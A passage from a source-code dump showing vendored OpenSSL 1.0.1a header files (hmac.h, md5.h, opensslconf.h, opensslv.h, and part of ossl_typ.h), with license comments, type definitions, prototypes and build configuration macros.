in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | #ifndef HEADER_HMAC_H 59 | #define HEADER_HMAC_H 60 | 61 | #include 62 | 63 | #ifdef OPENSSL_NO_HMAC 64 | #error HMAC is disabled. 65 | #endif 66 | 67 | #include 68 | 69 | #define HMAC_MAX_MD_CBLOCK 128 /* largest known is SHA512 */ 70 | 71 | #ifdef __cplusplus 72 | extern "C" { 73 | #endif 74 | 75 | typedef struct hmac_ctx_st 76 | { 77 | const EVP_MD *md; 78 | EVP_MD_CTX md_ctx; 79 | EVP_MD_CTX i_ctx; 80 | EVP_MD_CTX o_ctx; 81 | unsigned int key_length; 82 | unsigned char key[HMAC_MAX_MD_CBLOCK]; 83 | } HMAC_CTX; 84 | 85 | #define HMAC_size(e) (EVP_MD_size((e)->md)) 86 | 87 | 88 | void HMAC_CTX_init(HMAC_CTX *ctx); 89 | void HMAC_CTX_cleanup(HMAC_CTX *ctx); 90 | 91 | #define HMAC_cleanup(ctx) HMAC_CTX_cleanup(ctx) /* deprecated */ 92 | 93 | int HMAC_Init(HMAC_CTX *ctx, const void *key, int len, 94 | const EVP_MD *md); /* deprecated */ 95 | int HMAC_Init_ex(HMAC_CTX *ctx, const void *key, int len, 96 | const EVP_MD *md, ENGINE *impl); 97 | int HMAC_Update(HMAC_CTX *ctx, const unsigned char *data, size_t len); 98 | int HMAC_Final(HMAC_CTX *ctx, unsigned char *md, unsigned int *len); 99 | unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len, 100 | const unsigned char *d, size_t n, unsigned char *md, 101 | unsigned int *md_len); 102 | int HMAC_CTX_copy(HMAC_CTX *dctx, HMAC_CTX *sctx); 103 | 104 | void HMAC_CTX_set_flags(HMAC_CTX *ctx, unsigned long flags); 105 | 106 | #ifdef __cplusplus 107 | } 108 | #endif 109 | 110 | #endif 111 | -------------------------------------------------------------------------------- /src/include/openssl/md5.h: -------------------------------------------------------------------------------- 1 | /* crypto/md5/md5.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_MD5_H 60 | #define HEADER_MD5_H 61 | 62 | #include 63 | #include 64 | 65 | #ifdef __cplusplus 66 | extern "C" { 67 | #endif 68 | 69 | #ifdef OPENSSL_NO_MD5 70 | #error MD5 is disabled. 71 | #endif 72 | 73 | /* 74 | * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 75 | * ! MD5_LONG has to be at least 32 bits wide. If it's wider, then ! 76 | * ! MD5_LONG_LOG2 has to be defined along. ! 77 | * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 78 | */ 79 | 80 | #if defined(__LP32__) 81 | #define MD5_LONG unsigned long 82 | #elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) 83 | #define MD5_LONG unsigned long 84 | #define MD5_LONG_LOG2 3 85 | /* 86 | * _CRAY note. I could declare short, but I have no idea what impact 87 | * does it have on performance on none-T3E machines. I could declare 88 | * int, but at least on C90 sizeof(int) can be chosen at compile time. 89 | * So I've chosen long... 90 | * 91 | */ 92 | #else 93 | #define MD5_LONG unsigned int 94 | #endif 95 | 96 | #define MD5_CBLOCK 64 97 | #define MD5_LBLOCK (MD5_CBLOCK/4) 98 | #define MD5_DIGEST_LENGTH 16 99 | 100 | typedef struct MD5state_st 101 | { 102 | MD5_LONG A,B,C,D; 103 | MD5_LONG Nl,Nh; 104 | MD5_LONG data[MD5_LBLOCK]; 105 | unsigned int num; 106 | } MD5_CTX; 107 | 108 | #ifdef OPENSSL_FIPS 109 | int private_MD5_Init(MD5_CTX *c); 110 | #endif 111 | int MD5_Init(MD5_CTX *c); 112 | int MD5_Update(MD5_CTX *c, const void *data, size_t len); 113 | int MD5_Final(unsigned char *md, MD5_CTX *c); 114 | unsigned char *MD5(const unsigned char *d, size_t n, unsigned char *md); 115 | void MD5_Transform(MD5_CTX *c, const unsigned char *b); 116 | #ifdef __cplusplus 117 | } 118 | #endif 119 | 120 | #endif 121 | -------------------------------------------------------------------------------- /src/include/openssl/opensslconf.h: -------------------------------------------------------------------------------- 1 | /* opensslconf.h */ 2 | /* WARNING: Generated automatically from opensslconf.h.in by Configure. */ 3 | 4 | /* OpenSSL was configured with the following options: */ 5 | #ifndef OPENSSL_SYSNAME_WIN32 6 | # define OPENSSL_SYSNAME_WIN32 7 | #endif 8 | #ifndef OPENSSL_DOING_MAKEDEPEND 9 | 10 | 11 | #ifndef OPENSSL_NO_EC_NISTP_64_GCC_128 12 | # define OPENSSL_NO_EC_NISTP_64_GCC_128 13 | #endif 14 | #ifndef OPENSSL_NO_GMP 15 | # define OPENSSL_NO_GMP 16 | #endif 17 | #ifndef OPENSSL_NO_JPAKE 18 | # define OPENSSL_NO_JPAKE 19 | #endif 20 | #ifndef OPENSSL_NO_KRB5 21 | # define OPENSSL_NO_KRB5 22 | #endif 23 | #ifndef OPENSSL_NO_MD2 24 | # define OPENSSL_NO_MD2 25 | #endif 26 | #ifndef OPENSSL_NO_RC5 27 | # define OPENSSL_NO_RC5 28 | #endif 29 | #ifndef OPENSSL_NO_RFC3779 30 | # define OPENSSL_NO_RFC3779 31 | #endif 32 | #ifndef OPENSSL_NO_SCTP 33 | # define OPENSSL_NO_SCTP 34 | #endif 35 | #ifndef OPENSSL_NO_STORE 36 | # define OPENSSL_NO_STORE 37 | #endif 38 | 39 | #endif /* OPENSSL_DOING_MAKEDEPEND */ 40 | 41 | #ifndef OPENSSL_THREADS 42 | # define OPENSSL_THREADS 43 | #endif 44 | 45 | /* The OPENSSL_NO_* macros are also defined as NO_* if the application 46 | asks for it. This is a transient feature that is provided for those 47 | who haven't had the time to do the appropriate changes in their 48 | applications. */ 49 | #ifdef OPENSSL_ALGORITHM_DEFINES 50 | # if defined(OPENSSL_NO_EC_NISTP_64_GCC_128) && !defined(NO_EC_NISTP_64_GCC_128) 51 | # define NO_EC_NISTP_64_GCC_128 52 | # endif 53 | # if defined(OPENSSL_NO_GMP) && !defined(NO_GMP) 54 | # define NO_GMP 55 | # endif 56 | # if defined(OPENSSL_NO_JPAKE) && !defined(NO_JPAKE) 57 | # define NO_JPAKE 58 | # endif 59 | # if defined(OPENSSL_NO_KRB5) && !defined(NO_KRB5) 60 | # define NO_KRB5 61 | # endif 62 | # if defined(OPENSSL_NO_MD2) && !defined(NO_MD2) 63 | # define NO_MD2 64 | # endif 65 | # if defined(OPENSSL_NO_RC5) && !defined(NO_RC5) 66 | # define NO_RC5 67 | # endif 68 | # if defined(OPENSSL_NO_RFC3779) && !defined(NO_RFC3779) 69 | # define NO_RFC3779 70 | # endif 71 | # if defined(OPENSSL_NO_SCTP) && !defined(NO_SCTP) 72 | # define NO_SCTP 73 | # endif 74 | # if defined(OPENSSL_NO_STORE) && !defined(NO_STORE) 75 | # define NO_STORE 76 | # endif 77 | #endif 78 | 79 | #define OPENSSL_CPUID_OBJ 80 | 81 | /* crypto/opensslconf.h.in */ 82 | 83 | /* Generate 80386 code? */ 84 | #undef I386_ONLY 85 | 86 | #if !(defined(VMS) || defined(__VMS)) /* VMS uses logical names instead */ 87 | #if defined(HEADER_CRYPTLIB_H) && !defined(OPENSSLDIR) 88 | #define ENGINESDIR "/usr/local/ssl/lib/engines" 89 | #define OPENSSLDIR "/usr/local/ssl" 90 | #endif 91 | #endif 92 | 93 | #undef OPENSSL_UNISTD 94 | #define OPENSSL_UNISTD 95 | 96 | #undef OPENSSL_EXPORT_VAR_AS_FUNCTION 97 | #define OPENSSL_EXPORT_VAR_AS_FUNCTION 98 | 99 | #if defined(HEADER_IDEA_H) && !defined(IDEA_INT) 100 | #define IDEA_INT unsigned int 101 | #endif 102 | 103 | #if defined(HEADER_MD2_H) && !defined(MD2_INT) 104 | #define MD2_INT unsigned int 105 | #endif 106 | 107 | #if defined(HEADER_RC2_H) && !defined(RC2_INT) 108 | /* I need to put in a mod for the alpha - eay */ 109 | #define RC2_INT unsigned int 110 | #endif 111 | 112 | #if defined(HEADER_RC4_H) 113 | #if !defined(RC4_INT) 114 | /* using int types make the structure larger but make the code faster 115 | * on most boxes I have tested - up to %20 faster. */ 116 | /* 117 | * I don't know what does "most" mean, but declaring "int" is a must on: 118 | * - Intel P6 because partial register stalls are very expensive; 119 | * - elder Alpha because it lacks byte load/store instructions; 120 | */ 121 | #define RC4_INT unsigned int 122 | #endif 123 | #if !defined(RC4_CHUNK) 124 | /* 125 | * This enables code handling data aligned at natural CPU word 126 | * boundary. See crypto/rc4/rc4_enc.c for further details. 127 | */ 128 | #undef RC4_CHUNK 129 | #endif 130 | #endif 131 | 132 | #if (defined(HEADER_NEW_DES_H) || defined(HEADER_DES_H)) && !defined(DES_LONG) 133 | /* If this is set to 'unsigned int' on a DEC Alpha, this gives about a 134 | * %20 speed up (longs are 8 bytes, int's are 4). */ 135 | #ifndef DES_LONG 136 | #define DES_LONG unsigned long 137 | #endif 138 | #endif 139 | 140 | #if defined(HEADER_BN_H) && !defined(CONFIG_HEADER_BN_H) 141 | #define CONFIG_HEADER_BN_H 142 | #define BN_LLONG 143 | 144 | /* Should we define BN_DIV2W here? */ 145 | 146 | /* Only one for the following should be defined */ 147 | #undef SIXTY_FOUR_BIT_LONG 148 | #undef SIXTY_FOUR_BIT 149 | #define THIRTY_TWO_BIT 150 | #endif 151 | 152 | #if defined(HEADER_RC4_LOCL_H) && !defined(CONFIG_HEADER_RC4_LOCL_H) 153 | #define CONFIG_HEADER_RC4_LOCL_H 154 | /* if this is defined data[i] is used instead of *data, this is a %20 155 | * speedup on x86 */ 156 | #define RC4_INDEX 157 | #endif 158 | 159 | #if defined(HEADER_BF_LOCL_H) && !defined(CONFIG_HEADER_BF_LOCL_H) 160 | #define CONFIG_HEADER_BF_LOCL_H 161 | #undef BF_PTR 162 | #endif /* HEADER_BF_LOCL_H */ 163 | 164 | #if defined(HEADER_DES_LOCL_H) && !defined(CONFIG_HEADER_DES_LOCL_H) 165 | #define CONFIG_HEADER_DES_LOCL_H 166 | #ifndef DES_DEFAULT_OPTIONS 167 | /* the following is tweaked from a config script, that is why it is a 168 | * protected undef/define */ 169 | #ifndef DES_PTR 170 | #undef DES_PTR 171 | #endif 172 | 173 | /* This helps C compiler generate the correct code for multiple functional 174 | * units. It reduces register dependancies at the expense of 2 more 175 | * registers */ 176 | #ifndef DES_RISC1 177 | #undef DES_RISC1 178 | #endif 179 | 180 | #ifndef DES_RISC2 181 | #undef DES_RISC2 182 | #endif 183 | 184 | #if defined(DES_RISC1) && defined(DES_RISC2) 185 | YOU SHOULD NOT HAVE BOTH DES_RISC1 AND DES_RISC2 DEFINED!!!!! 186 | #endif 187 | 188 | /* Unroll the inner loop, this sometimes helps, sometimes hinders. 189 | * Very mucy CPU dependant */ 190 | #ifndef DES_UNROLL 191 | #undef DES_UNROLL 192 | #endif 193 | 194 | /* These default values were supplied by 195 | * Peter Gutman 196 | * They are only used if nothing else has been defined */ 197 | #if !defined(DES_PTR) && !defined(DES_RISC1) && !defined(DES_RISC2) && !defined(DES_UNROLL) 198 | /* Special defines which change the way the code is built depending on the 199 | CPU and OS. For SGI machines you can use _MIPS_SZLONG (32 or 64) to find 200 | even newer MIPS CPU's, but at the moment one size fits all for 201 | optimization options. Older Sparc's work better with only UNROLL, but 202 | there's no way to tell at compile time what it is you're running on */ 203 | 204 | #if defined( sun ) /* Newer Sparc's */ 205 | # define DES_PTR 206 | # define DES_RISC1 207 | # define DES_UNROLL 208 | #elif defined( __ultrix ) /* Older MIPS */ 209 | # define DES_PTR 210 | # define DES_RISC2 211 | # define DES_UNROLL 212 | #elif defined( __osf1__ ) /* Alpha */ 213 | # define DES_PTR 214 | # define DES_RISC2 215 | #elif defined ( _AIX ) /* RS6000 */ 216 | /* Unknown */ 217 | #elif defined( __hpux ) /* HP-PA */ 218 | /* Unknown */ 219 | #elif defined( __aux ) /* 68K */ 220 | /* Unknown */ 221 | #elif defined( __dgux ) /* 88K (but P6 in latest boxes) */ 222 | # define DES_UNROLL 223 | #elif defined( __sgi ) /* Newer MIPS */ 224 | # define DES_PTR 225 | # define DES_RISC2 226 | # define DES_UNROLL 227 | #elif defined(i386) || defined(__i386__) /* x86 boxes, should be gcc */ 228 | # define DES_PTR 229 | # define DES_RISC1 230 | # define DES_UNROLL 231 | #endif /* Systems-specific speed defines */ 232 | #endif 233 | 234 | #endif /* DES_DEFAULT_OPTIONS */ 235 | #endif /* HEADER_DES_LOCL_H */ 236 | -------------------------------------------------------------------------------- /src/include/openssl/opensslv.h: -------------------------------------------------------------------------------- 1 | #ifndef HEADER_OPENSSLV_H 2 | #define HEADER_OPENSSLV_H 3 | 4 | /* Numeric release version identifier: 5 | * MNNFFPPS: major minor fix patch status 6 | * The status nibble has one of the values 0 for development, 1 to e for betas 7 | * 1 to 14, and f for release. The patch level is exactly that. 8 | * For example: 9 | * 0.9.3-dev 0x00903000 10 | * 0.9.3-beta1 0x00903001 11 | * 0.9.3-beta2-dev 0x00903002 12 | * 0.9.3-beta2 0x00903002 (same as ...beta2-dev) 13 | * 0.9.3 0x0090300f 14 | * 0.9.3a 0x0090301f 15 | * 0.9.4 0x0090400f 16 | * 1.2.3z 0x102031af 17 | * 18 | * For continuity reasons (because 0.9.5 is already out, and is coded 19 | * 0x00905100), between 0.9.5 and 0.9.6 the coding of the patch level 20 | * part is slightly different, by setting the highest bit. This means 21 | * that 0.9.5a looks like this: 0x0090581f. At 0.9.6, we can start 22 | * with 0x0090600S... 23 | * 24 | * (Prior to 0.9.3-dev a different scheme was used: 0.9.2b is 0x0922.) 25 | * (Prior to 0.9.5a beta1, a different scheme was used: MMNNFFRBB for 26 | * major minor fix final patch/beta) 27 | */ 28 | #define OPENSSL_VERSION_NUMBER 0x1000101fL 29 | #ifdef OPENSSL_FIPS 30 | #define OPENSSL_VERSION_TEXT "OpenSSL 1.0.1a-fips 19 Apr 2012" 31 | #else 32 | #define OPENSSL_VERSION_TEXT "OpenSSL 1.0.1a 19 Apr 2012" 33 | #endif 34 | #define OPENSSL_VERSION_PTEXT " part of " OPENSSL_VERSION_TEXT 35 | 36 | 37 | /* The macros below are to be used for shared library (.so, .dll, ...) 38 | * versioning. That kind of versioning works a bit differently between 39 | * operating systems. The most usual scheme is to set a major and a minor 40 | * number, and have the runtime loader check that the major number is equal 41 | * to what it was at application link time, while the minor number has to 42 | * be greater or equal to what it was at application link time. With this 43 | * scheme, the version number is usually part of the file name, like this: 44 | * 45 | * libcrypto.so.0.9 46 | * 47 | * Some unixen also make a softlink with the major verson number only: 48 | * 49 | * libcrypto.so.0 50 | * 51 | * On Tru64 and IRIX 6.x it works a little bit differently. There, the 52 | * shared library version is stored in the file, and is actually a series 53 | * of versions, separated by colons. The rightmost version present in the 54 | * library when linking an application is stored in the application to be 55 | * matched at run time. When the application is run, a check is done to 56 | * see if the library version stored in the application matches any of the 57 | * versions in the version string of the library itself. 58 | * This version string can be constructed in any way, depending on what 59 | * kind of matching is desired. However, to implement the same scheme as 60 | * the one used in the other unixen, all compatible versions, from lowest 61 | * to highest, should be part of the string. Consecutive builds would 62 | * give the following versions strings: 63 | * 64 | * 3.0 65 | * 3.0:3.1 66 | * 3.0:3.1:3.2 67 | * 4.0 68 | * 4.0:4.1 69 | * 70 | * Notice how version 4 is completely incompatible with version, and 71 | * therefore give the breach you can see. 72 | * 73 | * There may be other schemes as well that I haven't yet discovered. 74 | * 75 | * So, here's the way it works here: first of all, the library version 76 | * number doesn't need at all to match the overall OpenSSL version. 77 | * However, it's nice and more understandable if it actually does. 78 | * The current library version is stored in the macro SHLIB_VERSION_NUMBER, 79 | * which is just a piece of text in the format "M.m.e" (Major, minor, edit). 80 | * For the sake of Tru64, IRIX, and any other OS that behaves in similar ways, 81 | * we need to keep a history of version numbers, which is done in the 82 | * macro SHLIB_VERSION_HISTORY. The numbers are separated by colons and 83 | * should only keep the versions that are binary compatible with the current. 84 | */ 85 | #define SHLIB_VERSION_HISTORY "" 86 | #define SHLIB_VERSION_NUMBER "1.0.0" 87 | 88 | 89 | #endif /* HEADER_OPENSSLV_H */ 90 | -------------------------------------------------------------------------------- /src/include/openssl/ossl_typ.h: -------------------------------------------------------------------------------- 1 | /* ==================================================================== 2 | * Copyright (c) 1998-2001 The OpenSSL Project. All rights reserved. 3 | * 4 | * Redistribution and use in source and binary forms, with or without 5 | * modification, are permitted provided that the following conditions 6 | * are met: 7 | * 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in 13 | * the documentation and/or other materials provided with the 14 | * distribution. 15 | * 16 | * 3. All advertising materials mentioning features or use of this 17 | * software must display the following acknowledgment: 18 | * "This product includes software developed by the OpenSSL Project 19 | * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" 20 | * 21 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 22 | * endorse or promote products derived from this software without 23 | * prior written permission. For written permission, please contact 24 | * openssl-core@openssl.org. 25 | * 26 | * 5. Products derived from this software may not be called "OpenSSL" 27 | * nor may "OpenSSL" appear in their names without prior written 28 | * permission of the OpenSSL Project. 29 | * 30 | * 6. Redistributions of any form whatsoever must retain the following 31 | * acknowledgment: 32 | * "This product includes software developed by the OpenSSL Project 33 | * for use in the OpenSSL Toolkit (http://www.openssl.org/)" 34 | * 35 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 36 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 37 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 38 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 39 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 40 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 41 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 42 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 43 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 44 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 45 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 46 | * OF THE POSSIBILITY OF SUCH DAMAGE. 47 | * ==================================================================== 48 | * 49 | * This product includes cryptographic software written by Eric Young 50 | * (eay@cryptsoft.com). This product includes software written by Tim 51 | * Hudson (tjh@cryptsoft.com). 52 | * 53 | */ 54 | 55 | #ifndef HEADER_OPENSSL_TYPES_H 56 | #define HEADER_OPENSSL_TYPES_H 57 | 58 | #include 59 | 60 | #ifdef NO_ASN1_TYPEDEFS 61 | #define ASN1_INTEGER ASN1_STRING 62 | #define ASN1_ENUMERATED ASN1_STRING 63 | #define ASN1_BIT_STRING ASN1_STRING 64 | #define ASN1_OCTET_STRING ASN1_STRING 65 | #define ASN1_PRINTABLESTRING ASN1_STRING 66 | #define ASN1_T61STRING ASN1_STRING 67 | #define ASN1_IA5STRING ASN1_STRING 68 | #define ASN1_UTCTIME ASN1_STRING 69 | #define ASN1_GENERALIZEDTIME ASN1_STRING 70 | #define ASN1_TIME ASN1_STRING 71 | #define ASN1_GENERALSTRING ASN1_STRING 72 | #define ASN1_UNIVERSALSTRING ASN1_STRING 73 | #define ASN1_BMPSTRING ASN1_STRING 74 | #define ASN1_VISIBLESTRING ASN1_STRING 75 | #define ASN1_UTF8STRING ASN1_STRING 76 | #define ASN1_BOOLEAN int 77 | #define ASN1_NULL int 78 | #else 79 | typedef struct asn1_string_st ASN1_INTEGER; 80 | typedef struct asn1_string_st ASN1_ENUMERATED; 81 | typedef struct asn1_string_st ASN1_BIT_STRING; 82 | typedef struct asn1_string_st ASN1_OCTET_STRING; 83 | typedef struct asn1_string_st ASN1_PRINTABLESTRING; 84 | typedef struct asn1_string_st ASN1_T61STRING; 85 | typedef struct asn1_string_st ASN1_IA5STRING; 86 | typedef struct asn1_string_st ASN1_GENERALSTRING; 87 | typedef struct asn1_string_st ASN1_UNIVERSALSTRING; 88 | typedef struct asn1_string_st ASN1_BMPSTRING; 89 | typedef struct asn1_string_st ASN1_UTCTIME; 90 | typedef struct asn1_string_st ASN1_TIME; 91 | typedef struct asn1_string_st ASN1_GENERALIZEDTIME; 92 | typedef struct asn1_string_st ASN1_VISIBLESTRING; 93 | typedef struct asn1_string_st ASN1_UTF8STRING; 94 | typedef struct asn1_string_st ASN1_STRING; 95 | typedef int ASN1_BOOLEAN; 96 | typedef int ASN1_NULL; 97 | #endif 98 | 99 | typedef struct ASN1_ITEM_st ASN1_ITEM; 100 | typedef struct asn1_pctx_st ASN1_PCTX; 101 | 102 | #ifdef OPENSSL_SYS_WIN32 103 | #undef X509_NAME 104 | #undef X509_EXTENSIONS 105 | #undef X509_CERT_PAIR 106 | #undef PKCS7_ISSUER_AND_SERIAL 107 | #undef OCSP_REQUEST 108 | #undef OCSP_RESPONSE 109 | #endif 110 | 111 | #ifdef BIGNUM 112 | #undef BIGNUM 113 | #endif 114 | typedef struct bignum_st BIGNUM; 115 | typedef struct bignum_ctx BN_CTX; 116 | typedef struct bn_blinding_st BN_BLINDING; 117 | typedef struct bn_mont_ctx_st BN_MONT_CTX; 118 | typedef struct bn_recp_ctx_st BN_RECP_CTX; 119 | typedef struct bn_gencb_st BN_GENCB; 120 | 121 | typedef struct buf_mem_st BUF_MEM; 122 | 123 | typedef struct evp_cipher_st EVP_CIPHER; 124 | typedef struct evp_cipher_ctx_st EVP_CIPHER_CTX; 125 | typedef struct env_md_st EVP_MD; 126 | typedef struct env_md_ctx_st EVP_MD_CTX; 127 | typedef struct evp_pkey_st EVP_PKEY; 128 | 129 | typedef struct evp_pkey_asn1_method_st EVP_PKEY_ASN1_METHOD; 130 | 131 | typedef struct evp_pkey_method_st EVP_PKEY_METHOD; 132 | typedef struct evp_pkey_ctx_st EVP_PKEY_CTX; 133 | 134 | typedef struct dh_st DH; 135 | typedef struct dh_method DH_METHOD; 136 | 137 | typedef struct dsa_st DSA; 138 | typedef struct dsa_method DSA_METHOD; 139 | 140 | typedef struct rsa_st RSA; 141 | typedef struct rsa_meth_st RSA_METHOD; 142 | 143 | typedef struct rand_meth_st RAND_METHOD; 144 | 145 | typedef struct ecdh_method ECDH_METHOD; 146 | typedef struct ecdsa_method ECDSA_METHOD; 147 | 148 | typedef struct x509_st X509; 149 | typedef struct X509_algor_st X509_ALGOR; 150 | typedef struct X509_crl_st X509_CRL; 151 | typedef struct x509_crl_method_st X509_CRL_METHOD; 152 | typedef struct x509_revoked_st X509_REVOKED; 153 | typedef struct X509_name_st X509_NAME; 154 | typedef struct X509_pubkey_st X509_PUBKEY; 155 | typedef struct x509_store_st X509_STORE; 156 | typedef struct x509_store_ctx_st X509_STORE_CTX; 157 | 158 | typedef struct pkcs8_priv_key_info_st PKCS8_PRIV_KEY_INFO; 159 | 160 | typedef struct v3_ext_ctx X509V3_CTX; 161 | typedef struct conf_st CONF; 162 | 163 | typedef struct store_st STORE; 164 | typedef struct store_method_st STORE_METHOD; 165 | 166 | typedef struct ui_st UI; 167 | typedef struct ui_method_st UI_METHOD; 168 | 169 | typedef struct st_ERR_FNS ERR_FNS; 170 | 171 | typedef struct engine_st ENGINE; 172 | typedef struct ssl_st SSL; 173 | typedef struct ssl_ctx_st SSL_CTX; 174 | 175 | typedef struct X509_POLICY_NODE_st X509_POLICY_NODE; 176 | typedef struct X509_POLICY_LEVEL_st X509_POLICY_LEVEL; 177 | typedef struct X509_POLICY_TREE_st X509_POLICY_TREE; 178 | typedef struct X509_POLICY_CACHE_st X509_POLICY_CACHE; 179 | 180 | typedef struct AUTHORITY_KEYID_st AUTHORITY_KEYID; 181 | typedef struct DIST_POINT_st DIST_POINT; 182 | typedef struct ISSUING_DIST_POINT_st ISSUING_DIST_POINT; 183 | typedef struct NAME_CONSTRAINTS_st NAME_CONSTRAINTS; 184 | 185 | /* If placed in pkcs12.h, we end up with a circular depency with pkcs7.h */ 186 | #define DECLARE_PKCS12_STACK_OF(type) /* Nothing */ 187 | #define IMPLEMENT_PKCS12_STACK_OF(type) /* Nothing */ 188 | 189 | typedef struct crypto_ex_data_st CRYPTO_EX_DATA; 190 | /* Callback types for crypto.h */ 191 | typedef int CRYPTO_EX_new(void *parent, void *ptr, CRYPTO_EX_DATA *ad, 192 | int idx, long argl, void *argp); 193 | typedef void CRYPTO_EX_free(void *parent, void *ptr, CRYPTO_EX_DATA *ad, 194 